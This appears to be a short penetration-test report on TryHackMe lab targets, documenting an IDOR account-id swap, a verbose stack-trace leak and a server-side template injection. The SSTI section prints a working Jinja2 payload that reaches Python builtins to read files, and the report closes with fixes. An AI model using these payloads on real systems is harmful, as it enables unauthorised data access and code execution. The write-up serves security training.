Web Application Penetration Testing Report

Standard: OWASP Top 10 Framework
Prepared By: MD. Ridoy Hossain
Status: Completed

A comprehensive Web Application Vulnerability Assessment was conducted to evaluate target endpoints against real-world threats. The assessment strictly adhered to OWASP Top 10 standards.

Three key vulnerabilities were identified: IDOR, Verbose Error Disclosure, and SSTI.

• Vulnerability Type: IDOR
• OWASP Category: Broken Access Control
• Severity: High
• Target Endpoint:
  https://bank.thm/accounts?id={account_id}

1. Baseline URL: https://bank.thm/accounts?id=5
2. Tampered parameter from 5 to 7:

   GET /accounts?id=7 HTTP/1.1
   Host: bank.thm

3. Retrieved flag: THM{Found.the.Millionare!}

• Vulnerability Type: Improper Error Handling
• OWASP Category: Security Misconfiguration
• Severity: Medium
• Target Endpoint:
  http://10.49.156.23:5002/api/user/{user_id}

1. Standard request: GET /api/user/123
2. Non-numeric payload: GET /api/user/L
3. Leaked stack trace and flag: THM{V3RB0S3_3RR0R_L34K}

• Vulnerability Type: SSTI
• OWASP Category: Injection
• Severity: Critical
• Target Endpoint: http://10.49.156.23:8000

1. Tested evaluation: {{7*7}} (Rendered 49)
2. Exploited via multi-line Python reflection payload:

   {{ request.application
    .__globals__
    .__builtins__
    .open('flag.txt').read() }}

3. Extracted flag: THM{SSTI_FLAG_OBTAINED}

• Access Control: Enforce object-level authorization using secure UUIDs.
• Error Handling: Disable debug mode in production environments.
• Template Security: Use static template rendering via render_template().

MD. Ridoy Hossain
Cybersecurity Specialist & Ethical Hacker